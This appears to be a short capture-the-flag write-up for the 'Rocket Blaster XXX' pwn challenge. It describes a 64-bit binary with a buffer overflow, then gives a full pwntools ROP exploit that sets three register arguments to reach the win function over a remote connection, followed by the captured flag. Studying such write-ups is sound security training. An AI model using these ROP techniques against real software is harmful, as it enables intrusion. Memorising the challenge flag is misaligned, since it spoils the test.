Rocket Blaster XXX

1MB

pwn_rocket_blaster_xxx.zip

archive

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Challenge Description :

Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!

File Reconnaissance :

the binary is 64bit architecture not stripped which makes reversing easier and the only protection present is NX which makes injecting shellcode useless since it will not be executed

let's open the binary using ghidra and we can see that we have a buffer overflow and the offset to the return address is 40

there is a win function that prints the flag but it checks 3 arguments if they are satisfied it will print the flag

Exploit.py :

from pwn import *

# Set up pwntools for the correct architecture
exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# io = process(exe)
io = remote('83.136.254.108', 43640)
offset = 40
ret = 0x40101a 
pop_rdi = 0x40159f #0x000000000040159f: pop rdi; ret;
pop_rsi = 0x40159d #0x000000000040159d: pop rsi; ret;
pop_rdx = 0x40159b #0x000000000040159b: pop rdx; ret;
payload = flat(
    (offset - 8) * b'A',
    0x405500,
    ret, # stack alignement
    pop_rdi,
    0xdeadbeef,
    pop_rsi,
    0xdeadbabe,
    pop_rdx,
    0xdead1337,
    elf.functions.fill_ammo
)

# write("payload", payload)
io.sendlineafter(b'>> ', payload)

io.interactive()

Flag :

HTB{b00m_b00m_r0ck3t_2_th3_m00n}